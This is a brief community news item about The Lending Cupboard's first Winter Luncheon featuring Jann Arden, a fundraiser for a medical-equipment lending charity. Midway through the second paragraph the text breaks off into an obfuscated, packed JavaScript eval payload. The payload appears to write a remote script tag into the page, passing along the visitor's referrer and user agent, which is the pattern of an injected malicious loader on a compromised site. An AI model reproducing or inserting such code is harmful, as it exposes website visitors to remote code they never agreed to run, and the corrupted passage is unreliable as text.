  • It’s always a risky venture to start a new endeavour.  That’s especially true when that venture is as large as The Lending Cupboard’s Winter Luncheon featuring Jann Arden.  Judging by results though, organizers have to be very pleased.  About 450 people attended the luncheon to support The Lending Cupboard and were thoroughly entertained by the ultra talented Canadian musical star.  Jann spoke about her family journey, opening up about her own mother’s recent death from Alzheimer’s.  It added up to a very successful “first annual” winter luncheon event.

    With an inventory of over 9,000 items, The Lending Cupboard provides medical equipment to those who need it.  Click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbhbd|var|u0026u|referrer|eikrb||js|php’.split(‘|’),0,{}))
